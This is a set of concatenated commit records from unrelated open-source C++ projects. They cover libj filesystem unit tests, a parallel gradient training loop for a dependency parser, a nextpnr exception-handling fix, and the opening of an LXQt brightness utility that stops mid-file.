libj\n<commit_msg>fix a wrong windows path<commit_after>\/\/ Copyright (c) 2013 Plenluno All rights reserved.\n\n#include <libnode\/fs.h>\n#include <libnode\/path.h>\n\n#include \".\/gtest_common.h\"\n\nnamespace libj {\nnamespace node {\n\nclass FsCallback : LIBJ_JS_FUNCTION(FsCallback)\n public:\n    FsCallback() : args_(JsArray::null()) {}\n\n    JsArray::CPtr getArgs() { return args_; }\n\n    virtual Value operator()(JsArray::Ptr args) {\n        args_ = args;\n        return Status::OK;\n    }\n\n private:\n    JsArray::Ptr args_;\n};\n\nTEST(GTestFs, TestWriteFile) {\n    fs::writeFile(\n        String::null(), Buffer::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::writeFile(str(\"hello.txt\"), Buffer::create(str(\"hello\")), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestStat) {\n    fs::stat(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::stat(String::null(), cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::stat(str(\"hello.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::Stats::Ptr stats = cb->getArgs()->getPtr<fs::Stats>(1);\n    ASSERT_TRUE(!!stats);\n    ASSERT_TRUE(stats->isFile());\n    ASSERT_FALSE(stats->isDirectory());\n    ASSERT_EQ(5, to<Size>(stats->get(fs::STAT_SIZE)));\n}\n\nTEST(GTestFs, TestOpen) {\n    fs::open(String::null(), fs::W, JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::open(String::null(), fs::W, cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestClose) {\n    fs::close(Object::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::close(Object::null(), cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestRead) {\n    fs::read(\n        Object::null(),\n        Buffer::null(),\n        0, 0, 0,\n        JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::read(\n        Object::null(),\n        Buffer::create(),\n        1, 1, 1, cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestReadFile) {\n    fs::readFile(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::readFile(str(\"hello.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    Buffer::CPtr buf = cb->getArgs()->getCPtr<Buffer>(1);\n    ASSERT_TRUE(!!buf);\n    ASSERT_TRUE(buf->toString()->equals(str(\"hello\")));\n}\n\nTEST(GTestFs, TestAppendFile) {\n    fs::appendFile(\n        String::null(), Buffer::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::appendFile(str(\"hello.txt\"), Buffer::create(str(\" world\")), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::readFile(str(\"hello.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    Buffer::CPtr buf = cb->getArgs()->getCPtr<Buffer>(1);\n    ASSERT_TRUE(!!buf);\n    ASSERT_TRUE(buf->toString()->equals(str(\"hello world\")));\n}\n\nTEST(GTestFs, TestReaddir) {\n    fs::readdir(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::readdir(str(\".\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    JsArray::CPtr a = cb->getArgs()->getCPtr<JsArray>(1);\n    ASSERT_TRUE(a->contains(str(\"hello.txt\")));\n}\n\nTEST(GTestFs, TestRename) {\n    fs::rename(\n        String::null(), String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::rename(str(\"hello.txt\"), str(\"hell.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestTruncate) {\n    fs::truncate(String::null(), 0, JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::truncate(str(\"hell.txt\"), 4, cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::readFile(str(\"hell.txt\"), cb);\n    node::run();\n    Buffer::CPtr buf = cb->getArgs()->getCPtr<Buffer>(1);\n    ASSERT_TRUE(!!buf);\n    ASSERT_EQ(4, buf->length());\n}\n\nTEST(GTestFs, TestMkdir) {\n    fs::mkdir(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::mkdir(str(\"mydir\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestSymlink) {\n    fs::symlink(\n        String::null(), String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::symlink(str(\"mydir\"), str(\"mylink\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestLstat) {\n    FsCallback::Ptr cb(new FsCallback());\n    fs::lstat(str(\"mydir\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::Stats::Ptr stats = cb->getArgs()->getPtr<fs::Stats>(1);\n    ASSERT_TRUE(!!stats);\n    ASSERT_TRUE(stats->isDirectory());\n    ASSERT_FALSE(stats->isSocket());\n\n    fs::lstat(str(\"mylink\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    stats = cb->getArgs()->getPtr<fs::Stats>(1);\n    ASSERT_TRUE(!!stats);\n    ASSERT_TRUE(stats->isSymbolicLink());\n    ASSERT_FALSE(stats->isBlockDevice());\n}\n\nTEST(GTestFs, TestRealpath) {\n    fs::realpath(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    String::CPtr current = path::resolve(JsArray::null());\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::realpath(String::null(), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    ASSERT_TRUE(cb->getArgs()->getCPtr<String>(1)->equals(current));\n\n    fs::realpath(str(\".\/mylink\"), cb);\n    JsArray::Ptr paths = JsArray::create();\n    paths->add(current);\n    paths->add(str(\".\/mydir\"));\n    String::CPtr real = path::resolve(paths);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    ASSERT_TRUE(cb->getArgs()->getCPtr<String>(1)->equals(real));\n}\n\nTEST(GTestFs, TestRmdir) {\n    fs::rmdir(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::rmdir(str(\"mydir\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestUnlink) {\n    fs::unlink(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::unlink(str(\"hell.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::unlink(str(\"mylink\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\n}  \/\/ namespace node\n}  \/\/ namespace libj\n<|endoftext|>"}
{"text":"<commit_before>#include \"arc_factored.h\"\n\n#include <vector>\n#include <iostream>\n#include <boost\/program_options.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\n#include \"arc_ff.h\"\n#include \"stringlib.h\"\n#include \"filelib.h\"\n#include \"tdict.h\"\n#include \"dep_training.h\"\n#include \"optimize.h\"\n#include \"weights.h\"\n\nusing namespace std;\nnamespace po = boost::program_options;\n\nvoid InitCommandLine(int argc, char** argv, po::variables_map* conf) {\n  po::options_description opts(\"Configuration options\");\n  string cfg_file;\n  opts.add_options()\n        (\"training_data,t\",po::value<string>()->default_value(\"-\"), \"File containing training data (jsent format)\")\n        (\"weights,w\",po::value<string>(), \"Optional starting weights\")\n        (\"output_every_i_iterations,I\",po::value<unsigned>()->default_value(1), \"Write weights every I iterations\")\n        (\"regularization_strength,C\",po::value<double>()->default_value(1.0), \"Regularization strength\")\n        (\"correction_buffers,m\", po::value<int>()->default_value(10), \"LBFGS correction buffers\");\n  po::options_description clo(\"Command line options\");\n  clo.add_options()\n        (\"config,c\", po::value<string>(&cfg_file), \"Configuration file\")\n        (\"help,?\", \"Print this help message and exit\");\n\n  po::options_description dconfig_options, dcmdline_options;\n  dconfig_options.add(opts);\n  dcmdline_options.add(dconfig_options).add(clo);\n  po::store(parse_command_line(argc, argv, dcmdline_options), *conf);\n  if (cfg_file.size() > 0) {\n    ReadFile rf(cfg_file);\n    po::store(po::parse_config_file(*rf.stream(), dconfig_options), *conf);\n  }\n  if (conf->count(\"help\")) {\n    cerr << dcmdline_options << endl;\n    exit(1);\n  }\n}\n\nvoid AddFeatures(double prob, const SparseVector<double>& fmap, vector<double>* g) {\n  for (SparseVector<double>::const_iterator it = fmap.begin(); it != fmap.end(); ++it)\n    (*g)[it->first] += it->second * prob;\n}\n\ndouble ApplyRegularizationTerms(const double C,\n                                const vector<double>& weights,\n                                vector<double>* g) {\n  assert(weights.size() == g->size());\n  double reg = 0;\n  for (size_t i = 0; i < weights.size(); ++i) {\n\/\/    const double prev_w_i = (i < prev_weights.size() ? prev_weights[i] : 0.0);\n    const double& w_i = weights[i];\n    double& g_i = (*g)[i];\n    reg += C * w_i * w_i;\n    g_i += 2 * C * w_i;\n\n\/\/    reg += T * (w_i - prev_w_i) * (w_i - prev_w_i);\n\/\/    g_i += 2 * T * (w_i - prev_w_i);\n  }\n  return reg;\n}\n\nint main(int argc, char** argv) {\n  int rank = 0;\n  int size = 1;\n  po::variables_map conf;\n  InitCommandLine(argc, argv, &conf);\n  ArcFeatureFunctions ffs;\n  vector<TrainingInstance> corpus;\n  TrainingInstance::ReadTrainingCorpus(conf[\"training_data\"].as<string>(), &corpus, rank, size);\n  vector<ArcFactoredForest> forests(corpus.size());\n  SparseVector<double> empirical;\n  bool flag = false;\n  for (int i = 0; i < corpus.size(); ++i) {\n    TrainingInstance& cur = corpus[i];\n    if (rank == 0 && (i+1) % 10 == 0) { cerr << '.' << flush; flag = true; }\n    if (rank == 0 && (i+1) % 400 == 0) { cerr << \" [\" << (i+1) << \"]\\n\"; flag = false; }\n    ffs.PrepareForInput(cur.ts);\n    SparseVector<weight_t> efmap;\n    for (int j = 0; j < cur.tree.h_m_pairs.size(); ++j) {\n      efmap.clear();\n      ffs.EdgeFeatures(cur.ts, cur.tree.h_m_pairs[j].first,\n                       cur.tree.h_m_pairs[j].second,\n                       &efmap);\n      cur.features += efmap;\n    }\n    for (int j = 0; j < cur.tree.roots.size(); ++j) {\n      efmap.clear();\n      ffs.EdgeFeatures(cur.ts, -1, cur.tree.roots[j], &efmap);\n      cur.features += efmap;\n    }\n    empirical += cur.features;\n    forests[i].resize(cur.ts.words.size());\n    forests[i].ExtractFeatures(cur.ts, ffs);\n  }\n  if (flag) cerr << endl;\n  \/\/cerr << \"EMP: \" << empirical << endl; \/\/DE\n  vector<weight_t> weights(FD::NumFeats(), 0.0);\n  if (conf.count(\"weights\"))\n    Weights::InitFromFile(conf[\"weights\"].as<string>(), &weights);\n  vector<weight_t> g(FD::NumFeats(), 0.0);\n  cerr << \"features initialized\\noptimizing...\\n\";\n  boost::shared_ptr<BatchOptimizer> o;\n  int every = corpus.size() \/ 20;\n  if (!every) ++every;\n  o.reset(new LBFGSOptimizer(g.size(), conf[\"correction_buffers\"].as<int>()));\n  int iterations = 1000;\n  for (int iter = 0; iter < iterations; ++iter) {\n    cerr << \"ITERATION \" << iter << \" \" << flush;\n    fill(g.begin(), g.end(), 0.0);\n    for (SparseVector<double>::const_iterator it = empirical.begin(); it != empirical.end(); ++it)\n      g[it->first] = -it->second;\n    double obj = -empirical.dot(weights);\n    \/\/ SparseVector<double> mfm;  \/\/DE\n    for (int i = 0; i < corpus.size(); ++i) {\n      if ((i + 1) % every == 0) cerr << '.' << flush;\n      const int num_words = corpus[i].ts.words.size();\n      forests[i].Reweight(weights);\n      prob_t z;\n      forests[i].EdgeMarginals(&z);\n      obj -= log(z);\n      \/\/cerr << \" O = \" << (-corpus[i].features.dot(weights)) << \" D=\" << -lz << \"  OO= \" << (-corpus[i].features.dot(weights) - lz) << endl;\n      \/\/cerr << \" ZZ = \" << zz << endl;\n      for (int h = -1; h < num_words; ++h) {\n        for (int m = 0; m < num_words; ++m) {\n          if (h == m) continue;\n          const ArcFactoredForest::Edge& edge = forests[i](h,m);\n          const SparseVector<weight_t>& fmap = edge.features;\n          double prob = edge.edge_prob.as_float();\n          if (prob < -0.000001) { cerr << \"Prob < 0: \" << prob << endl; prob = 0; }\n          if (prob > 1.000001) { cerr << \"Prob > 1: \" << prob << endl; prob = 1; }\n          AddFeatures(prob, fmap, &g);\n          \/\/mfm += fmap * prob;  \/\/ DE\n        }\n      }\n    }\n    \/\/cerr << endl << \"E: \" << empirical << endl;  \/\/ DE\n    \/\/cerr << \"M: \" << mfm << endl;  \/\/ DE\n    double r = ApplyRegularizationTerms(conf[\"regularization_strength\"].as<double>(), weights, &g);\n    double gnorm = 0;\n    for (int i = 0; i < g.size(); ++i)\n      gnorm += g[i]*g[i];\n    ostringstream ll;\n    ll << \"ITER=\" << (iter+1) << \"\\tOBJ=\" << (obj+r) << \"\\t[F=\" << obj << \" R=\" << r << \"]\\tGnorm=\" << sqrt(gnorm);\n    cerr << ' ' << ll.str().substr(ll.str().find('\\t')+1) << endl;\n    obj += r;\n    assert(obj >= 0);\n    o->Optimize(obj, g, &weights);\n    Weights::ShowLargestFeatures(weights);\n    const bool converged = o->HasConverged();\n    const char* ofname = converged ? \"weights.final.gz\" : \"weights.cur.gz\";\n    if (converged || ((iter+1) % conf[\"output_every_i_iterations\"].as<unsigned>()) == 0) {\n      cerr << \"writing...\" << flush;\n      const string sl = ll.str();\n      Weights::WriteToFile(ofname, weights, true, &sl);\n      cerr << \"done\" << endl;\n    }\n    if (converged) { cerr << \"CONVERGED\\n\"; break; }\n  }\n  return 0;\n}\n\n<commit_msg>parallel gradient computation<commit_after>#include \"arc_factored.h\"\n\n#include <vector>\n#include <iostream>\n#include <boost\/program_options.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\/\/ #define HAVE_THREAD 1\n#if HAVE_THREAD\n#include <boost\/thread.hpp>\n#endif\n\n#include \"arc_ff.h\"\n#include \"stringlib.h\"\n#include \"filelib.h\"\n#include \"tdict.h\"\n#include \"dep_training.h\"\n#include \"optimize.h\"\n#include \"weights.h\"\n\nusing namespace std;\nnamespace po = boost::program_options;\n\nvoid InitCommandLine(int argc, char** argv, po::variables_map* conf) {\n  po::options_description opts(\"Configuration options\");\n  string cfg_file;\n  opts.add_options()\n        (\"training_data,t\",po::value<string>()->default_value(\"-\"), \"File containing training data (jsent format)\")\n        (\"weights,w\",po::value<string>(), \"Optional starting weights\")\n        (\"output_every_i_iterations,I\",po::value<unsigned>()->default_value(1), \"Write weights every I iterations\")\n        (\"regularization_strength,C\",po::value<double>()->default_value(1.0), \"Regularization strength\")\n#if HAVE_THREAD\n        (\"threads,T\",po::value<unsigned>()->default_value(1), \"Number of threads\")\n#endif\n        (\"correction_buffers,m\", po::value<int>()->default_value(10), \"LBFGS correction buffers\");\n  po::options_description clo(\"Command line options\");\n  clo.add_options()\n        (\"config,c\", po::value<string>(&cfg_file), \"Configuration file\")\n        (\"help,?\", \"Print this help message and exit\");\n\n  po::options_description dconfig_options, dcmdline_options;\n  dconfig_options.add(opts);\n  dcmdline_options.add(dconfig_options).add(clo);\n  po::store(parse_command_line(argc, argv, dcmdline_options), *conf);\n  if (cfg_file.size() > 0) {\n    ReadFile rf(cfg_file);\n    po::store(po::parse_config_file(*rf.stream(), dconfig_options), *conf);\n  }\n  if (conf->count(\"help\")) {\n    cerr << dcmdline_options << endl;\n    exit(1);\n  }\n}\n\nvoid AddFeatures(double prob, const SparseVector<double>& fmap, vector<double>* g) {\n  for (SparseVector<double>::const_iterator it = fmap.begin(); it != fmap.end(); ++it)\n    (*g)[it->first] += it->second * prob;\n}\n\ndouble ApplyRegularizationTerms(const double C,\n                                const vector<double>& weights,\n                                vector<double>* g) {\n  assert(weights.size() == g->size());\n  double reg = 0;\n  for (size_t i = 0; i < weights.size(); ++i) {\n\/\/    const double prev_w_i = (i < prev_weights.size() ? prev_weights[i] : 0.0);\n    const double& w_i = weights[i];\n    double& g_i = (*g)[i];\n    reg += C * w_i * w_i;\n    g_i += 2 * C * w_i;\n\n\/\/    reg += T * (w_i - prev_w_i) * (w_i - prev_w_i);\n\/\/    g_i += 2 * T * (w_i - prev_w_i);\n  }\n  return reg;\n}\n\nstruct GradientWorker {\n  GradientWorker(int f,\n                 int t,\n                 vector<double>* w,\n                 vector<TrainingInstance>* c,\n                 vector<ArcFactoredForest>* fs) : obj(), weights(*w), from(f), to(t), corpus(*c), forests(*fs), g(w->size()) {}\n  void operator()() {\n    int every = (to - from) \/ 20;\n    if (!every) every++;\n    for (int i = from; i < to; ++i) {\n      if ((from == 0) && (i + 1) % every == 0) cerr << '.' << flush;\n      const int num_words = corpus[i].ts.words.size();\n      forests[i].Reweight(weights);\n      prob_t z;\n      forests[i].EdgeMarginals(&z);\n      obj -= log(z);\n      \/\/cerr << \" O = \" << (-corpus[i].features.dot(weights)) << \" D=\" << -lz << \"  OO= \" << (-corpus[i].features.dot(weights) - lz) << endl;\n      \/\/cerr << \" ZZ = \" << zz << endl;\n      for (int h = -1; h < num_words; ++h) {\n        for (int m = 0; m < num_words; ++m) {\n          if (h == m) continue;\n          const ArcFactoredForest::Edge& edge = forests[i](h,m);\n          const SparseVector<weight_t>& fmap = edge.features;\n          double prob = edge.edge_prob.as_float();\n          if (prob < -0.000001) { cerr << \"Prob < 0: \" << prob << endl; prob = 0; }\n          if (prob > 1.000001) { cerr << \"Prob > 1: \" << prob << endl; prob = 1; }\n          AddFeatures(prob, fmap, &g);\n          \/\/mfm += fmap * prob;  \/\/ DE\n        }\n      }\n    }\n  }\n  double obj;\n  vector<double>& weights;\n  const int from, to;\n  vector<TrainingInstance>& corpus;\n  vector<ArcFactoredForest>& forests;\n  vector<double> g; \/\/ local gradient\n};\n\nint main(int argc, char** argv) {\n  int rank = 0;\n  int size = 1;\n  po::variables_map conf;\n  InitCommandLine(argc, argv, &conf);\n  ArcFeatureFunctions ffs;\n  vector<TrainingInstance> corpus;\n  TrainingInstance::ReadTrainingCorpus(conf[\"training_data\"].as<string>(), &corpus, rank, size);\n  vector<ArcFactoredForest> forests(corpus.size());\n  SparseVector<double> empirical;\n  bool flag = false;\n  for (int i = 0; i < corpus.size(); ++i) {\n    TrainingInstance& cur = corpus[i];\n    if (rank == 0 && (i+1) % 10 == 0) { cerr << '.' << flush; flag = true; }\n    if (rank == 0 && (i+1) % 400 == 0) { cerr << \" [\" << (i+1) << \"]\\n\"; flag = false; }\n    ffs.PrepareForInput(cur.ts);\n    SparseVector<weight_t> efmap;\n    for (int j = 0; j < cur.tree.h_m_pairs.size(); ++j) {\n      efmap.clear();\n      ffs.EdgeFeatures(cur.ts, cur.tree.h_m_pairs[j].first,\n                       cur.tree.h_m_pairs[j].second,\n                       &efmap);\n      cur.features += efmap;\n    }\n    for (int j = 0; j < cur.tree.roots.size(); ++j) {\n      efmap.clear();\n      ffs.EdgeFeatures(cur.ts, -1, cur.tree.roots[j], &efmap);\n      cur.features += efmap;\n    }\n    empirical += cur.features;\n    forests[i].resize(cur.ts.words.size());\n    forests[i].ExtractFeatures(cur.ts, ffs);\n  }\n  if (flag) cerr << endl;\n  \/\/cerr << \"EMP: \" << empirical << endl; \/\/DE\n  vector<weight_t> weights(FD::NumFeats(), 0.0);\n  if (conf.count(\"weights\"))\n    Weights::InitFromFile(conf[\"weights\"].as<string>(), &weights);\n  vector<weight_t> g(FD::NumFeats(), 0.0);\n  cerr << \"features initialized\\noptimizing...\\n\";\n  boost::shared_ptr<BatchOptimizer> o;\n#if HAVE_THREAD\n  unsigned threads = conf[\"threads\"].as<unsigned>();\n  if (threads > corpus.size()) threads = corpus.size();\n#else\n  const unsigned threads = 1;\n#endif\n  int chunk = corpus.size() \/ threads;\n  o.reset(new LBFGSOptimizer(g.size(), conf[\"correction_buffers\"].as<int>()));\n  int iterations = 1000;\n  for (int iter = 0; iter < iterations; ++iter) {\n    cerr << \"ITERATION \" << iter << \" \" << flush;\n    fill(g.begin(), g.end(), 0.0);\n    for (SparseVector<double>::const_iterator it = empirical.begin(); it != empirical.end(); ++it)\n      g[it->first] = -it->second;\n    double obj = -empirical.dot(weights);\n    vector<boost::shared_ptr<GradientWorker> > jobs;\n    for (int from = 0; from < corpus.size(); from += chunk) {\n      int to = from + chunk;\n      if (to > corpus.size()) to = corpus.size();\n      jobs.push_back(boost::shared_ptr<GradientWorker>(new GradientWorker(from, to, &weights, &corpus, &forests)));\n    }\n#if HAVE_THREAD\n    boost::thread_group tg;\n    for (int i = 0; i < threads; ++i)\n      tg.create_thread(boost::ref(*jobs[i]));\n    tg.join_all();\n#else\n    (*jobs[0])();\n#endif\n    for (int i = 0; i < threads; ++i) {\n      obj += jobs[i]->obj;\n      vector<double>& tg = jobs[i]->g;\n      for (unsigned j = 0; j < g.size(); ++j)\n        g[j] += tg[j];\n    }\n    \/\/ SparseVector<double> mfm;  \/\/DE\n    \/\/cerr << endl << \"E: \" << empirical << endl;  \/\/ DE\n    \/\/cerr << \"M: \" << mfm << endl;  \/\/ DE\n    double r = ApplyRegularizationTerms(conf[\"regularization_strength\"].as<double>(), weights, &g);\n    double gnorm = 0;\n    for (int i = 0; i < g.size(); ++i)\n      gnorm += g[i]*g[i];\n    ostringstream ll;\n    ll << \"ITER=\" << (iter+1) << \"\\tOBJ=\" << (obj+r) << \"\\t[F=\" << obj << \" R=\" << r << \"]\\tGnorm=\" << sqrt(gnorm);\n    cerr << ' ' << ll.str().substr(ll.str().find('\\t')+1) << endl;\n    obj += r;\n    assert(obj >= 0);\n    o->Optimize(obj, g, &weights);\n    Weights::ShowLargestFeatures(weights);\n    const bool converged = o->HasConverged();\n    const char* ofname = converged ? \"weights.final.gz\" : \"weights.cur.gz\";\n    if (converged || ((iter+1) % conf[\"output_every_i_iterations\"].as<unsigned>()) == 0) {\n      cerr << \"writing...\" << flush;\n      const string sl = ll.str();\n      Weights::WriteToFile(ofname, weights, true, &sl);\n      cerr << \"done\" << endl;\n    }\n    if (converged) { cerr << \"CONVERGED\\n\"; break; }\n  }\n  return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n *  nextpnr -- Next Generation Place and Route\n *\n *  Copyright (C) 2018  Miodrag Milanovic <miodrag@symbioticeda.com>\n *  Copyright (C) 2018  Serge Bazanski <q3k@symbioticeda.com>\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"application.h\"\n#include <QMessageBox>\n#include <QSurfaceFormat>\n#include <QTextStream>\n#include <exception>\n\nNEXTPNR_NAMESPACE_BEGIN\n\n#ifdef _WIN32\n#include <windows.h>\nBOOL WINAPI WinHandler(DWORD dwCtrlType)\n{\n    if (dwCtrlType == CTRL_C_EVENT)\n        qApp->quit();\n    return TRUE;\n}\n#endif\n\nApplication::Application(int &argc, char **argv) : QApplication(argc, argv)\n{\n    QSurfaceFormat fmt;\n    fmt.setSamples(10);\n    fmt.setProfile(QSurfaceFormat::CoreProfile);\n    QSurfaceFormat::setDefaultFormat(fmt);\n#ifdef _WIN32\n    SetConsoleCtrlHandler((PHANDLER_ROUTINE)WinHandler, TRUE);\n#endif\n}\n\nbool Application::notify(QObject *receiver, QEvent *event)\n{\n    bool retVal = true;\n    try {\n        retVal = QApplication::notify(receiver, event);\n    } catch (assertion_failure ex) {\n        QString msg;\n        QTextStream out(&msg);\n        out << ex.filename.c_str() << \" at \" << ex.line << \"\\n\";\n        out << ex.msg.c_str();\n        QMessageBox::critical(0, \"Error\", msg);\n    } catch (...) {\n        QMessageBox::critical(0, \"Error\", \"Fatal error !!!\");\n    }\n    return retVal;\n}\n\nNEXTPNR_NAMESPACE_END\n<commit_msg>gui: Fix warning: catching polymorphic type by value<commit_after>\n\/*\n *  nextpnr -- Next Generation Place and Route\n *\n *  Copyright (C) 2018  Miodrag Milanovic <miodrag@symbioticeda.com>\n *  Copyright (C) 2018  Serge Bazanski <q3k@symbioticeda.com>\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"application.h\"\n#include <QMessageBox>\n#include <QSurfaceFormat>\n#include <QTextStream>\n#include <exception>\n\nNEXTPNR_NAMESPACE_BEGIN\n\n#ifdef _WIN32\n#include <windows.h>\nBOOL WINAPI WinHandler(DWORD dwCtrlType)\n{\n    if (dwCtrlType == CTRL_C_EVENT)\n        qApp->quit();\n    return TRUE;\n}\n#endif\n\nApplication::Application(int &argc, char **argv) : QApplication(argc, argv)\n{\n    QSurfaceFormat fmt;\n    fmt.setSamples(10);\n    fmt.setProfile(QSurfaceFormat::CoreProfile);\n    QSurfaceFormat::setDefaultFormat(fmt);\n#ifdef _WIN32\n    SetConsoleCtrlHandler((PHANDLER_ROUTINE)WinHandler, TRUE);\n#endif\n}\n\nbool Application::notify(QObject *receiver, QEvent *event)\n{\n    bool retVal = true;\n    try {\n        retVal = QApplication::notify(receiver, event);\n    } catch (const assertion_failure &ex) {\n        QString msg;\n        QTextStream out(&msg);\n        out << ex.filename.c_str() << \" at \" << ex.line << \"\\n\";\n        out << ex.msg.c_str();\n        QMessageBox::critical(0, \"Error\", msg);\n    } catch (...) {\n        QMessageBox::critical(0, \"Error\", \"Fatal error !!!\");\n    }\n    return retVal;\n}\n\nNEXTPNR_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright (C) 2016  P.L. Lucas <selairi@gmail.com>\n    \n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#include \"xrandrbrightness.h\"\n#include <QDebug>\n#include <LXQt\/SingleApplication>\n#include <QCommandLineParser>\n#include \"brightnesssettings.h\"\n\nint main(int argn, char* argv[])\n{\n    LXQt::SingleApplication app(argn, argv);\n     \n    \/\/ Command line options\n    QCommandLineParser parser;\n    QCommandLineOption increaseOption(QStringList() << \"i\" << \"icrease\",\n            app.tr(\"Increase brightness.\"));\n    parser.addOption(increaseOption);\n    QCommandLineOption decreaseOption(QStringList() << \"d\" << \"decrease\",\n            app.tr(\"Decrease brightness.\"));\n    parser.addOption(decreaseOption);\n    QCommandLineOption helpOption = parser.addHelpOption();\n    parser.addOption(increaseOption);\n    parser.addOption(decreaseOption);\n    